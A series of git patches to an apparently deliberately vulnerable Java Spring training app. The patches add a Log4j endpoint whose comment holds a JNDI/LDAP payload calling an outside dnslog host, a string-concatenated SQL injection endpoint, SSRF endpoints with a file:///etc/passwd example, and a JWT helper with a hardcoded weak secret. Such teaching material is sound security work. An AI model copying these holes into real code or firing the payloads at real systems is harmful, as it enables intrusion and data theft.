-    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.7" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-core:2.9.1" level="project" />
+    <orderEntry type="library" name="Maven: org.apache.logging.log4j:log4j-api:2.9.1" level="project" />
     <orderEntry type="library" name="Maven: com.squareup.okhttp:okhttp:2.5.0" level="project" />
     <orderEntry type="library" name="Maven: com.squareup.okio:okio:1.6.0" level="project" />
     <orderEntry type="library" name="Maven: org.apache.commons:commons-digester3:3.2" level="project" />
diff --git a/pom.xml b/pom.xml
index bcb6fc14..e22713da 100644
--- a/pom.xml
+++ b/pom.xml
@@ -100,7 +100,13 @@
         <dependency>
             <groupId>org.apache.logging.log4j</groupId>
             <artifactId>log4j-core</artifactId>
-            <version>2.8.2</version>
+            <version>2.9.1</version>
+        </dependency>
+
+        <dependency>
+            <groupId>org.apache.logging.log4j</groupId>
+            <artifactId>log4j-api</artifactId>
+            <version>2.9.1</version>
         </dependency>
 
         <dependency>
@@ -129,6 +135,7 @@
             <artifactId>spring-boot-starter-actuator</artifactId>
         </dependency>
 
+        <!-- eureka -->
         <dependency>
             <groupId>org.springframework.cloud</groupId>
             <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java
new file mode 100644
index 00000000..ada8a394
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Log4j.java
@@ -0,0 +1,29 @@
+package org.joychou.controller;
+
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class Log4j {
+
+    private static final Logger logger = LogManager.getLogger("Log4j");
+
+    /**
+     * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999}
+     * Default: error/fatal/off
+     * Fix: Update log4j to lastet version.
+     * @param token token
+     */
+    @GetMapping("/log4j")
+    public String log4j(String token) {
+        if(token.equals("java-sec-code")) {
+            return "java sec code";
+        } else {
+            logger.error(token);
+            return "error";
+        }
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 7ea518a5..afabfe15 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -43,7 +43,7 @@ public class SQLI {
 
     /**
      * Vuln Code.
-     * http://localhost:8080/sqli/jdbc/vul?username=joychou
+     * http://localhost:8080/sqli/jdbc/vuln?username=joychou
      *
      * @param username username
      */
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 8645fd13..aa76f9fe 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -67,7 +67,7 @@ public String URLConnectionSec(String url) {
     public String httpURLConnection(@RequestParam String url) {
         try {
             SecurityUtil.startSSRFHook();
-            return HttpUtils.HTTPURLConnection(url);
+            return HttpUtils.HttpURLConnection(url);
         } catch (SSRFException | IOException e) {
             return e.getMessage();
         } finally {
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index 32195a27..d57f667a 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -7,6 +7,7 @@
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 
+import org.apache.catalina.servlet4preview.http.HttpFilter;
 import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
index 01b1b350..0930e2b5 100644
--- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
+++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java
@@ -147,8 +147,8 @@ static boolean isInternalIp(String strIP) {
     /**
      * host转换为IP
      * 会将各种进制的ip转为正常ip
-     * 167772161转换为10.0.0.1
-     * 127.0.0.1.xip.io转换为127.0.0.1
+     * 167772161 转换为  10.0.0.1
+     * 127.0.0.1.xip.io 转换为 127.0.0.1
      *
      * @param host 域名host
      */
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 4d2be1a4..4f608301 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -5,7 +5,6 @@
 import org.apache.commons.httpclient.methods.GetMethod;
 import org.apache.commons.io.IOUtils;
 import org.apache.http.HttpResponse;
-import org.apache.http.client.config.RequestConfig;
 import org.apache.http.client.fluent.Request;
 import org.apache.http.client.methods.HttpGet;
 import org.apache.http.impl.client.CloseableHttpClient;
@@ -21,6 +20,7 @@
 import javax.imageio.ImageIO;
 import java.io.BufferedReader;
 import java.io.IOException;
+import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.net.HttpURLConnection;
 import java.net.URI;
@@ -33,7 +33,7 @@
  */
 public class HttpUtils {
 
-    private static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
+    private final static Logger logger = LoggerFactory.getLogger(HttpUtils.class);
 
     public static String commonHttpClient(String url) {
 
@@ -110,12 +110,14 @@ public static String URLConnection(String url) {
     }
 
 
-    public static String HTTPURLConnection(String url) {
+    public static String HttpURLConnection(String url) {
         try {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
-            HttpURLConnection httpUrl = (HttpURLConnection) urlConnection;
-            BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
+            HttpURLConnection conn = (HttpURLConnection) urlConnection;
+            // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+            InputStream is = conn.getInputStream();  // send request
+            BufferedReader in = new BufferedReader(new InputStreamReader(is));
             String inputLine;
             StringBuilder html = new StringBuilder();
 
@@ -206,7 +208,6 @@ public static String HttpAsyncClients(String url) {
                 logger.error(e.getMessage());
             }
         }
-
     }
 
 }
diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties
index 6f920495..96ca82c3 100644
--- a/src/main/resources/application.properties
+++ b/src/main/resources/application.properties
@@ -9,7 +9,7 @@ logging.level.org.joychou.mapper=debug
 
 # Spring Boot Actuator Config
 management.security.enabled=false
-endpoints.enabled=false
+endpoints.enabled=true
 
 
 # logging.config=classpath:logback-online.xml

From 707d395a77a6e42f7483fa1257fb6a74f301e7ae Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Wed, 21 Sep 2022 12:19:48 +0800
Subject: [PATCH 25/38] add jwt

---
 README.md                                     |   3 +-
 README_zh.md                                  |   3 +-
 java-sec-code.iml                             |   4 +-
 pom.xml                                       |  21 ++++
 src/main/java/org/joychou/Application.java    |   1 -
 .../org/joychou/controller/Deserialize.java   |   3 +
 src/main/java/org/joychou/controller/Jwt.java |  62 +++++++++++
 .../java/org/joychou/controller/SQLI.java     |  44 ++++++++
 .../java/org/joychou/controller/SSRF.java     |   5 +
 .../java/org/joychou/util/CookieUtils.java    |  24 ++++
 src/main/java/org/joychou/util/HttpUtils.java |  14 ++-
 src/main/java/org/joychou/util/JwtUtils.java  | 103 ++++++++++++++++++
 src/main/resources/templates/index.html       |   5 +
 13 files changed, 287 insertions(+), 5 deletions(-)
 create mode 100644 src/main/java/org/joychou/controller/Jwt.java
 create mode 100644 src/main/java/org/joychou/util/CookieUtils.java
 create mode 100644 src/main/java/org/joychou/util/JwtUtils.java

diff --git a/README.md b/README.md
index d4d62134..edfda09c 100644
--- a/README.md
+++ b/README.md
@@ -57,7 +57,7 @@ Sort by letter.
 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
 - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
 - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
-
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
 
 
 ## Vulnerability Description
@@ -75,6 +75,7 @@ Sort by letter.
 - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
 - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
 - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)
 - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
 
 ## How to run
diff --git a/README_zh.md b/README_zh.md
index 8beb7805..111c8be3 100644
--- a/README_zh.md
+++ b/README_zh.md
@@ -51,7 +51,7 @@ joychou/joychou123
 - [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java)
 - [XStream](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XStreamRce.java)
 - [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java)
-
+- [JWT](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Jwt.java)
 
 ## 漏洞说明
 
@@ -68,6 +68,7 @@ joychou/joychou123
 - [SSTI](https://github.com/JoyChou93/java-sec-code/wiki/SSTI)
 - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass)
 - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE)
+- [JWT](https://github.com/JoyChou93/java-sec-code/wiki/JWT)  
 - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others)
 
 
diff --git a/java-sec-code.iml b/java-sec-code.iml
index 9f5f1029..445cfa46 100644
--- a/java-sec-code.iml
+++ b/java-sec-code.iml
@@ -86,7 +86,6 @@
     <orderEntry type="library" name="Maven: org.apache.commons:commons-digester3:3.2" level="project" />
     <orderEntry type="library" name="Maven: cglib:cglib:2.2.2" level="project" />
     <orderEntry type="library" name="Maven: asm:asm:3.3.1" level="project" />
-    <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.3" level="project" />
     <orderEntry type="library" name="Maven: org.jolokia:jolokia-core:1.6.0" level="project" />
     <orderEntry type="library" name="Maven: com.googlecode.json-simple:json-simple:1.1.1" level="project" />
     <orderEntry type="library" name="Maven: org.springframework.boot:spring-boot-starter-actuator:1.5.1.RELEASE" level="project" />
@@ -219,5 +218,8 @@
     <orderEntry type="library" name="Maven: org.springframework:spring-test:4.3.6.RELEASE" level="project" />
     <orderEntry type="library" name="Maven: junit:junit:4.12" level="project" />
     <orderEntry type="library" name="Maven: org.hamcrest:hamcrest-core:1.3" level="project" />
+    <orderEntry type="library" name="Maven: commons-beanutils:commons-beanutils:1.9.4" level="project" />
+    <orderEntry type="library" name="Maven: io.jsonwebtoken:jjwt:0.9.1" level="project" />
+    <orderEntry type="library" name="Maven: com.auth0:java-jwt:4.0.0" level="project" />
   </component>
 </module>
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index e22713da..aa8e89a5 100644
--- a/pom.xml
+++ b/pom.xml
@@ -279,6 +279,27 @@
             <artifactId>junit</artifactId>
         </dependency>
 
+        <!-- add commons-beanutils gadget -->
+        <dependency>
+            <groupId>commons-beanutils</groupId>
+            <artifactId>commons-beanutils</artifactId>
+            <version>1.9.4</version>
+        </dependency>
+
+        <!-- https://mvnrepository.com/artifact/io.jsonwebtoken/jjwt -->
+        <dependency>
+            <groupId>io.jsonwebtoken</groupId>
+            <artifactId>jjwt</artifactId>
+            <version>0.9.1</version>
+        </dependency>
+
+        <!-- https://github.com/auth0/java-jwt https://mvnrepository.com/artifact/com.auth0/java-jwt -->
+        <dependency>
+            <groupId>com.auth0</groupId>
+            <artifactId>java-jwt</artifactId>
+            <version>4.0.0</version>
+        </dependency>
+
     </dependencies>
 
     <dependencyManagement>
diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java
index 0f04b2c8..41169b9a 100644
--- a/src/main/java/org/joychou/Application.java
+++ b/src/main/java/org/joychou/Application.java
@@ -8,7 +8,6 @@
 import org.springframework.cloud.netflix.eureka.EnableEurekaClient;
 
 
-
 @ServletComponentScan // do filter
 @SpringBootApplication
 // @EnableEurekaClient  // 测试Eureka请打开注释，防止控制台一直有warning
diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java
index 45662e9c..9531e980 100644
--- a/src/main/java/org/joychou/controller/Deserialize.java
+++ b/src/main/java/org/joychou/controller/Deserialize.java
@@ -57,6 +57,9 @@ public String rememberMeVul(HttpServletRequest request)
 
     /**
      * Check deserialize class using black list.
+     * Or
+     * Update commons-collections to 3.2.2 or above.
+     * Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.
      * <p>
      * http://localhost:8080/deserialize/rememberMe/security
      */
diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java
new file mode 100644
index 00000000..522fd44a
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jwt.java
@@ -0,0 +1,62 @@
+package org.joychou.controller;
+
+import lombok.extern.slf4j.Slf4j;
+import org.joychou.util.CookieUtils;
+import org.joychou.util.JwtUtils;
+import org.springframework.web.bind.annotation.CookieValue;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+/**
+ *
+ */
+@Slf4j
+@RestController
+@RequestMapping("/jwt")
+public class Jwt {
+
+    private static final String COOKIE_NAME = "USER_COOKIE";
+    /**
+     * http://localhost:8080/jwt/createToken
+     * Create jwt token and set token to cookies.
+     *
+     * @author JoyChou 2022-09-20
+     */
+    @GetMapping("/createToken")
+    public String createToken(HttpServletResponse response, HttpServletRequest request) {
+        String loginUser = request.getUserPrincipal().getName();
+        log.info("Current login user is " + loginUser);
+
+        CookieUtils.deleteCookie(response, COOKIE_NAME);
+        String token = JwtUtils.generateTokenByJavaJwt(loginUser);
+        Cookie cookie = new Cookie(COOKIE_NAME, token);
+
+        cookie.setMaxAge(86400);    // 1 DAY
+        cookie.setPath("/");
+        cookie.setSecure(true);
+        response.addCookie(cookie);
+        return "Add jwt token cookie successfully. Cookie name is USER_COOKIE";
+    }
+
+
+    /**
+     * http://localhost:8080/jwt/getName
+     * Get nickname from USER_COOKIE
+     *
+     * @author JoyChou 2022-09-20
+     * @param user_cookie cookie
+     * @return nickname
+     */
+    @GetMapping("/getName")
+    public String getNickname(@CookieValue(COOKIE_NAME) String user_cookie) {
+        String nickname = JwtUtils.getNicknameByJavaJwt(user_cookie);
+        return "Current jwt user is " + nickname;
+    }
+
+}
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index afabfe15..6682115c 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -130,6 +130,50 @@ public String jdbc_sqli_sec(@RequestParam("username") String username) {
         return result.toString();
     }
 
+
+    /**
+     * http://localhost:8080/sqli/jdbc/ps/vuln?username=joychou' or 'a'='a
+     *
+     * Incorrect use of prepareStatement. prepareStatement must use ? as a placeholder.
+     */
+    @RequestMapping("/jdbc/ps/vuln")
+    public String jdbc_ps_vuln(@RequestParam("username") String username) {
+
+        StringBuilder result = new StringBuilder();
+        try {
+            Class.forName(driver);
+            Connection con = DriverManager.getConnection(url, user, password);
+
+            if (!con.isClosed())
+                System.out.println("Connecting to Database successfully.");
+
+            String sql = "select * from users where username = '" + username + "'";
+            PreparedStatement st = con.prepareStatement(sql);
+
+            logger.info(st.toString());
+            ResultSet rs = st.executeQuery();
+
+            while (rs.next()) {
+                String res_name = rs.getString("username");
+                String res_pwd = rs.getString("password");
+                String info = String.format("%s: %s\n", res_name, res_pwd);
+                result.append(info);
+                logger.info(info);
+            }
+
+            rs.close();
+            con.close();
+
+        } catch (ClassNotFoundException e) {
+            logger.error("Sorry, can`t find the Driver!");
+            e.printStackTrace();
+        } catch (SQLException e) {
+            logger.error(e.toString());
+        }
+        return result.toString();
+    }
+
+
     /**
      * vuln code
      * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index aa76f9fe..3f9a8762 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -76,6 +76,11 @@ public String httpURLConnection(@RequestParam String url) {
     }
 
 
+    @GetMapping("/HttpURLConnection/vuln")
+    public String httpURLConnectionVuln(@RequestParam String url) {
+        return HttpUtils.HttpURLConnection(url);
+    }
+
     /**
      * The default setting of followRedirects is true.
      * UserAgent is <code>Apache-HttpClient/4.5.12 (Java/1.8.0_102)</code>.
diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java
new file mode 100644
index 00000000..eddae0db
--- /dev/null
+++ b/src/main/java/org/joychou/util/CookieUtils.java
@@ -0,0 +1,24 @@
+package org.joychou.util;
+
+import lombok.extern.slf4j.Slf4j;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Slf4j
+public class CookieUtils {
+
+    public static boolean deleteCookie(HttpServletResponse res, String cookieName) {
+        try {
+            Cookie cookie = new Cookie(cookieName, null);
+            cookie.setMaxAge(0);
+            cookie.setPath("/");
+            res.addCookie(cookie);
+            return true;
+        } catch (Exception e) {
+            log.error(e.toString());
+            return false;
+        }
+    }
+}
diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java
index 4f608301..d0be6dd3 100644
--- a/src/main/java/org/joychou/util/HttpUtils.java
+++ b/src/main/java/org/joychou/util/HttpUtils.java
@@ -110,12 +110,17 @@ public static String URLConnection(String url) {
     }
 
 
+    /**
+     * The default setting of followRedirects is true.
+     * UserAgent is Java/1.8.0_102.
+     */
     public static String HttpURLConnection(String url) {
         try {
             URL u = new URL(url);
             URLConnection urlConnection = u.openConnection();
             HttpURLConnection conn = (HttpURLConnection) urlConnection;
-            // Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
+//             conn.setInstanceFollowRedirects(false);
+//             Many HttpURLConnection methods can send http request, such as getResponseCode, getHeaderField
             InputStream is = conn.getInputStream();  // send request
             BufferedReader in = new BufferedReader(new InputStreamReader(is));
             String inputLine;
@@ -165,6 +170,13 @@ public static String okhttp(String url) throws IOException {
     }
 
 
+    /**
+     * The default setting of followRedirects is true.
+     *
+     * UserAgent is Java/1.8.0_102.
+     *
+     * @param url http request url
+     */
     public static void imageIO(String url) {
         try {
             URL u = new URL(url);
diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java
new file mode 100644
index 00000000..3ee6c89d
--- /dev/null
+++ b/src/main/java/org/joychou/util/JwtUtils.java
@@ -0,0 +1,103 @@
+package org.joychou.util;
+
+import com.auth0.jwt.JWT;
+import com.auth0.jwt.JWTVerifier;
+import com.auth0.jwt.algorithms.Algorithm;
+import com.auth0.jwt.exceptions.JWTVerificationException;
+import io.jsonwebtoken.Claims;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import lombok.extern.slf4j.Slf4j;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Base64;
+import java.util.Date;
+
+@Slf4j
+public class JwtUtils {
+
+    private static final long EXPIRE = 1440 * 60 * 1000;  // 1440 Minutes, 1 DAY
+    private static final String SECRET = "123456";
+    private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8));
+
+    /**
+     * Generate JWT Token by jjwt (last update time: Jul 05, 2018)
+     *
+     * @author JoyChou 2022-09-20
+     * @param userId userid
+     * @return token
+     */
+    public static String generateTokenByJjwt(String userId) {
+        return Jwts.builder()
+                .setHeaderParam("typ", "JWT")   // header
+                .setHeaderParam("alg", "HS256")     // header
+                .setIssuedAt(new Date())    // token发布时间
+                .setExpiration(new Date(System.currentTimeMillis() + EXPIRE))   // token过期时间
+                .claim("userid", userId)
+                // secret在signWith会base64解码，但网上很多代码示例并没对secret做base64编码，所以在爆破key的时候可以注意下。
+                .signWith(SignatureAlgorithm.HS256, B64_SECRET)
+                .compact();
+    }
+
+    public static String getUserIdFromJjwtToken(String token) {
+        try {
+            Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody();
+            return (String)claims.get("userid");
+        } catch (Exception e) {
+            return e.toString();
+        }
+    }
+
+    /**
+     * Generate jwt token by java-jwt.
+     *
+     * @author JoyChou 2022-09-20
+     * @param nickname nickname
+     * @return jwt token
+     */
+    public static String generateTokenByJavaJwt(String nickname) {
+        return JWT.create()
+                .withClaim("nickname", nickname)
+                .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE))
+                .withIssuedAt(new Date())
+                .sign(Algorithm.HMAC256(SECRET));
+    }
+
+
+    /**
+     * Verify JWT Token
+     * @param token token
+     * @return Valid token returns true. Invalid token returns false.
+     */
+    public static Boolean verifyTokenByJavaJwt(String token) {
+        try {
+            Algorithm algorithm = Algorithm.HMAC256(SECRET);
+            JWTVerifier verifier = JWT.require(algorithm).build();
+            verifier.verify(token);
+            return true;
+        } catch (JWTVerificationException exception){
+            log.error(exception.toString());
+            return false;
+        }
+    }
+
+
+    public static String getNicknameByJavaJwt(String token) {
+        if (!verifyTokenByJavaJwt(token)) {
+            log.error("token is invalid");
+            return null;
+        }
+        return JWT.decode(token).getClaim("nickname").asString();
+    }
+
+
+    public static void main(String[] args) {
+        String jjwtToken = generateTokenByJjwt("10000");
+        System.out.println(jjwtToken);
+        System.out.println(getUserIdFromJjwtToken(jjwtToken));
+
+        String token = generateTokenByJavaJwt("JoyChou");
+        System.out.println(token);
+        System.out.println(getNicknameByJavaJwt(token));
+    }
+}
diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html
index 9d27f958..8511d5fd 100644
--- a/src/main/resources/templates/index.html
+++ b/src/main/resources/templates/index.html
@@ -21,6 +21,11 @@
         <a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
         <a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
     </p>
+
+    <P>
+        <a th:href="@{/jwt/createToken}">JWTCreateToken</a>
+        <a th:href="@{/jwt/getName}">GetUserFromJWTToken</a>
+    </P>
     <p>...</p>
     <a th:href="@{/logout}">logout</a>
 

From e4190d6213d4892d7b49cb15d016d833d011562c Mon Sep 17 00:00:00 2001
From: JoyChou <viarus@qq.com>
Date: Fri, 21 Oct 2022 20:13:28 +0800
Subject: [PATCH 26/38] Add RestTemplate SSRF

---
 .../org/joychou/config/HttpServiceConfig.java | 38 ++++++++++++++++
 .../java/org/joychou/controller/SSRF.java     | 31 ++++++++++++-
 .../java/org/joychou/filter/OriginFilter.java |  2 -
 .../org/joychou/impl/HttpServiceImpl.java     | 44 +++++++++++++++++++
 .../java/org/joychou/service/HttpService.java | 11 +++++
 src/main/java/org/joychou/util/HttpUtils.java |  1 -
 src/main/java/org/joychou/util/JwtUtils.java  |  1 +
 7 files changed, 124 insertions(+), 4 deletions(-)
 create mode 100644 src/main/java/org/joychou/config/HttpServiceConfig.java
 create mode 100644 src/main/java/org/joychou/impl/HttpServiceImpl.java
 create mode 100644 src/main/java/org/joychou/service/HttpService.java

diff --git a/src/main/java/org/joychou/config/HttpServiceConfig.java b/src/main/java/org/joychou/config/HttpServiceConfig.java
new file mode 100644
index 00000000..64477bd4
--- /dev/null
+++ b/src/main/java/org/joychou/config/HttpServiceConfig.java
@@ -0,0 +1,38 @@
+package org.joychou.config;
+
+import org.springframework.boot.web.client.RestTemplateBuilder;
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.http.client.SimpleClientHttpRequestFactory;
+import org.springframework.web.client.RestTemplate;
+
+import java.io.IOException;
+import java.net.HttpURLConnection;
+
+
+class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory {
+
+
+    @Override
+    protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException {
+        super.prepareConnection(connection, httpMethod);
+        // Use custom ClientHttpRequestFactory to set followRedirects false.
+        connection.setInstanceFollowRedirects(false);
+    }
+}
+
+@Configuration
+public class HttpServiceConfig {
+
+    @Bean
+    public RestTemplate restTemplateBanRedirects(RestTemplateBuilder builder) {
+        return builder.requestFactory(CustomClientHttpRequestFactory.class).build();
+    }
+
+
+    @Bean
+    public RestTemplate restTemplate(RestTemplateBuilder builder) {
+        return builder.build();
+    }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index 3f9a8762..72044a7a 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -2,12 +2,16 @@
 
 import org.joychou.security.SecurityUtil;
 import org.joychou.security.ssrf.SSRFException;
+import org.joychou.service.HttpService;
 import org.joychou.util.HttpUtils;
 import org.joychou.util.WebUtils;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.MediaType;
 import org.springframework.web.bind.annotation.*;
 
+import javax.annotation.Resource;
 import javax.servlet.http.HttpServletResponse;
 import java.io.*;
 import java.net.*;
@@ -23,8 +27,10 @@
 @RequestMapping("/ssrf")
 public class SSRF {
 
-    private static Logger logger = LoggerFactory.getLogger(SSRF.class);
+    private static final Logger logger = LoggerFactory.getLogger(SSRF.class);
 
+    @Resource
+    private HttpService httpService;
 
     /**
      * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
@@ -266,4 +272,27 @@ public String HttpSyncClients(@RequestParam("url") String url) {
     }
 
 
+    /**
+     * http://127.0.0.1:8080/ssrf/restTemplate/vuln?url=http://www.baidu.com <p>
+     * Only support HTTP protocol. <p>
+     * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects<p>
+     * User-Agent: Java/1.8.0_102 <p>
+     */
+    @GetMapping("/restTemplate/vuln1")
+    public String RestTemplateUrlBanRedirects(String url){
+        HttpHeaders headers = new HttpHeaders();
+        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+        return httpService.RequestHttpBanRedirects(url, headers);
+    }
+
+
+    @GetMapping("/restTemplate/vuln2")
+    public String RestTemplateUrl(String url){
+        HttpHeaders headers = new HttpHeaders();
+        headers.setContentType(MediaType.APPLICATION_JSON_UTF8);
+        return httpService.RequestHttp(url, headers);
+    }
+
+
+
 }
diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java
index d57f667a..271a4562 100644
--- a/src/main/java/org/joychou/filter/OriginFilter.java
+++ b/src/main/java/org/joychou/filter/OriginFilter.java
@@ -6,8 +6,6 @@
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
-
-import org.apache.catalina.servlet4preview.http.HttpFilter;
 import org.joychou.security.SecurityUtil;
 import org.slf4j.Logger;
 import org.slf4j.LoggerFactory;
diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java
new file mode 100644
index 00000000..d3bbf3a1
--- /dev/null
+++ b/src/main/java/org/joychou/impl/HttpServiceImpl.java
@@ -0,0 +1,44 @@
+package org.joychou.impl;
+
+
+import org.joychou.service.HttpService;
+import org.springframework.http.HttpEntity;
+import org.springframework.http.HttpHeaders;
+import org.springframework.http.ResponseEntity;
+import org.springframework.stereotype.Service;
+import org.springframework.web.client.RestTemplate;
+import org.springframework.http.HttpMethod;
+
+import javax.annotation.Resource;
+
+@Service
+public class HttpServiceImpl implements HttpService {
+
+    @Resource
+    private RestTemplate restTemplate;
+
+    @Resource
+    private RestTemplate restTemplateBanRedirects;
+
+    /**
+     * Http request by RestTemplate. Only support HTTP protocol. <p>
+     * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.<p>
+     * User-Agent: Java/1.8.0_102 <p>
+     */
+    public String RequestHttp(String url, HttpHeaders headers) {
+        HttpEntity<String> entity = new HttpEntity<>(headers);
+        ResponseEntity<String> re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class);
+        return re.getBody();
+    }
+
+    /**
+     * Http request by RestTemplate. Only support HTTP protocol. <p>
+     * Redirects: Disable followRedirects.<p>
+     * User-Agent: Java/1.8.0_102 <p>
+     */
+    public String RequestHttpBanRedirects(String url, HttpHeaders headers) {
+        HttpEntity<String> entity = new HttpEntity<>(headers);
+        ResponseEntity<String> re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class);
+        return re.getBody();
+    }
+}
diff --git a/src/main/java/org/joychou/service/HttpService.java b/src/main/java/org/joychou/service/HttpService.java
new file mode 100644
index 00000000..198a5311
--- /dev/null
+++ b/src/main/java/org/joychou/service/HttpService.java
@@ -0,0 +1,11 @@
+package org.joychou.service;
+
+
+import org.springframework.http.HttpHeaders;
+
+public interface HttpService {
+
+    String RequestHttp(String url, HttpHeaders headers);
+
+    String RequestHttpBanRedirects(String url, HttpHeaders headers);
+}
